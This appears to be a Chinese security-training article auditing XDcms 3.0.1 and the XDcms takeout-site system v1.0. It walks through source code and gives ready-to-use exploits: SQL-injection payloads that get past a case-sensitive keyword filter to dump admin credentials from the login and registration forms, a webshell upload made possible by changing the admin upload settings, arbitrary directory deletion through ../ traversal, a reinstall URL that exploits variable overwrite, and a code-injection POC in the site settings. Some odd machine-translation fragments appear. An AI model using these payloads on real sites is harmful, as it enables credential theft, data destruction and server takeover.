获取互联网安全教程
免费并加入群组
本文由控制安全大学-柚子贡献
Xdcms外卖网站管理系统 v1.0 漏洞
Xdcmsv3.0.1漏洞环境搭建
1、xdcms_3.0.1的源代码放在WWW目录下。
源码下载地址:
关联:
提取码:zkaq
2.安装,访问()一路选择下一步,直到出现设置页面,创建数据库...安装完成。
输入数据库账号的密码(可以选择新建数据库xdcms,也可以不新建,只需输入数据库名称即可),点击进入下一步,对网站进行简单设置
可以看到安装成功,请记住您的管理员帐号:xdcms,密码xdcms,并进入后台管理。
代码审计目录概述
首先,你可以拿出代码审计工具——Seay源码审计系统进行手动审计,先看看哪里容易出现问题,这样就不用那么盲目了。
我发现xdcms的目录很简单php删除目录,包括后台admin、缓存、数据、系统system、上传uploadfile。 手动扫描发现 171 个可疑漏洞。
这里的目录不是很复杂,并且没有使用thinkphp的框架,而是自己搭建的框架,所以代码还是很容易理解的!
首先,当我们看到目录时,我们需要找到数据库文件。 有默认下载路径吗? 如果通过这些方法,我们可以直接获取管理员账户的密码,那么后面就不需要再进行任何审核了。
这里没有默认的mdb文件或者sql文件,备份也都是空的,所以唯一可能有用的就是config.inc.php文件,而且因为是php,肯定不能显示,所以就有了这里没有这样的漏洞。
下面我们可以推测admin一定是管理员目录,cache是缓存,这个估计没什么用。 。
install是安装目录,经常存在删除任意文件的漏洞,然后利用这些漏洞删除install目录下的lock文件,导致cms重新安装。
系统目录应该是整个网站的组成文件,这个文件夹应该是审核的重点!
最后还有一个用于上传文件的目录。 我们来看看上传任意文件是否存在漏洞。
简介概述
我们来看看都有哪些配置文件,以及经常引用哪些文件。 这些文件往往贯穿整个网站创建过程,一些重要的过滤功能通常都在这些文件中。
这是index.php 文件。 我们可以看到两个配置文件,下面会逐步审核。
<?php
if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}
require dirname(__FILE__).'/system/common.inc.php';
?>
步骤进入config.inc.php文件,主要是数据库配置信息。 你会看到使用了utf-8字符,因此没有宽字节注入。
进入system/common.inc.php文件,这个文件应该是整个网站的架构文件。 可以看到前面提到的system目录就是系统目录。 另外,需要注意的是,最后一行引用了一个fun.inc.php文件,应该是函数的配置文件,而这种文件往往是过滤函数的聚集地。
继续仔细查看 fun.inc.php 文件。 这是 fun.inc.php 的一部分。 可以看到这里有两个过滤功能,一个应该是xss过滤,另一个应该是sql过滤。 而这里的sql过滤只匹配大写,所以我们可以使用大写和小写来绕过。 所以如果你使用这个safe_html()函数,但是单步进入数据库查询,那么这里肯定存在sql注入。
登录时sql注入漏洞分析
全局搜索safe_html,很多地方都这么称呼,但并不是所有都有注入,因为有些地方有safe_replace和invtal保护index.php?m=member&f=login_save
没有办法绕过它,还有xdcms会员管理界面(而且我们暂时不能使用,因为我们不知道如何管理后台账户)
成员接口(用单个冒号包裹并且传递的参数仅经过safe_html过滤..并且启用了错误提示,则可以使用错误注入)可以使用错误注入。 只要是只将safe_html带入数据库的查询,就有注入,这样就可以在admin表上显示管理员信息。
/系统/模块/成员/索引
里面的程序不难读。 可以看到POST收到的账户密码,然后通过safe_html()函数过滤判断是否为空,所以直接带入第103行数据库查询。这里只是通过safe_html()过滤函数,所以实际上有一个注入。
漏洞重现
有效负载:
username=bestorange'or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&submit=+%E7%99%BB+%E5%BD%95+
注册表sql注入漏洞漏洞分析
现在先熟悉一下流程,只能看到注册登录。
然后注册一个账号orange,密码orange。
里面看到的密码是经过md5加密两次的。 接下来我们看一下代码。
/system/modules/member/index.php
里面的代码很容易理解,函数是register_save(),注册并保存。 首先,POST接收传递过来的参数,判断是否为空。
66行密码经过md5两次加密。 可以看到,没有进行任何有意义的过滤,并且在第50行和第72行听到了过滤函数safe_html()。下面我们开始跟踪这个函数。
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
要分析这个过滤函数,只需将里面听到的select、insert、update等替换成空即可。
safe_html中实际上传递了一个SQL注入敏感词,并且对=和进行了过滤,并且不考虑SQL注入敏感词的大小写。 这里只过滤了大写字母,所以我们使用小写字母来绕过它。 这里把=和过滤了,我们SQL注入语句可以使用正则保存,不用*和=。
漏洞重现
这里我们使用错误注入来测试,bestorange'orupdatexml(1,concat(0x7e,(selEctconcat(username,0x23,password)frOmc_admin),0x7e),1)#&password=bestorange
有效负载:
username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
获取shell
顺着uploadfile文件夹找到文件上传点,并限制上传文件的后缀。
木马getshell可以借助admin后台限制的文件格式修改进行上传,上传文件后还可以更改后缀。 system/function/upload.inc.php(文中有多个文件上传点)
通过前面注入获得的管理员账号密码登录后台,成功进入后台管理系统。 在系统设置—>网站配置—>上传设置—>文件/图片上传格式限制。
添加php文件类型,稍后上传。
删除任何文件
全局搜索file_get_contents意外收获取消链接任何目录文件已删除index.php?m=xdcms&c=data&f=delete&file=../../test
public function delete(){
$file=trim($_GET["file"]);
$dir=DATA_PATH.'backup/'.$file;
if(is_dir($dir)){
//删除文件夹中的文件
if (false != ($handle = opendir ( $dir ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != ".."&&strpos($file,".")) {
@unlink($dir."/".$file);
}
}
closedir ( $handle );
}
@rmdir($dir);//删除目录
}
showmsg(C('success'),'-1');
}
传入的参数没有经过过滤,也没有列入白名单php删除目录,直接拼接到dir中。 如果要触发循环就得做if判断,所以这里只能是../进行目录遍历和任意文件夹的可控删除。
xdcms外卖网站管理系统v1.0漏洞介绍
XDcms外卖网站管理系统主要采用Php+Mysql+Smarty技术基础开发,采用OOP(面向对象)形式构建基本操作框架,集在线外卖、团购、积分商城、优惠券、新闻、在线订单、在线支付,生成订单邮件/邮件通知、评论、谷歌地图、问答,并与支付宝、Dz峰会、短信平台socket等功能完美集成。 是一个完全开源的中级外卖网站管理系统。 作为国外最受欢迎的PHP外卖网站系统之一,XDcms在不断提升用户服务和产品质量的同时,越来越注重用户体验。 系统开发以来,经过上百次的更新和修改,网站的建立和管理变得更加简单和方便。
环境搭建
全局变量覆盖漏洞分析
/安装/index.php
代码的含义是遍历传入变量链表的参数,例如$_GET['a']的参数是$a。
传入一个insLockfile来判断是否存在。这里有问题
直接跳过判断进行安装。
此时安装的sql数据库文件会记录在/data/config.inc.php中
借助poc:找到可以外部连接的mysql(自己爆)
漏洞重现
直接进入这个地址
http://127.0.0.1/xdcms_dc_v1.0/install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=123456&dbpre=c_&dblang=gbk&adminuser=xdcms&adminpwd=xdcms
后台任意源码读取
漏洞文件:systemmodulesxdcmstemplate.php
看到xdcms目录下的模板文件,直观上就是后台模板编辑。所以先登录后台,登录
使用权:
后台getshell漏洞分析
/system/modules/xdcms/setting.php
还可以使用foreach遍历链表来增加值。 这里的$info['siteurl']是直接写入的,没有经过处理。
漏洞重现
访问:/index.php?m=xdcms&c=setting
我只是添加了这个 phpinfo 用于测试
POC:
');?>http://127.0.0.1/
免责声明:本公众号分享的内容仅供讨论网络安全技术,请勿用于非法用途。
所有穿透均需经过授权,违规者后果自负,与本账号及作者无关,请切记遵守法律。
发表评论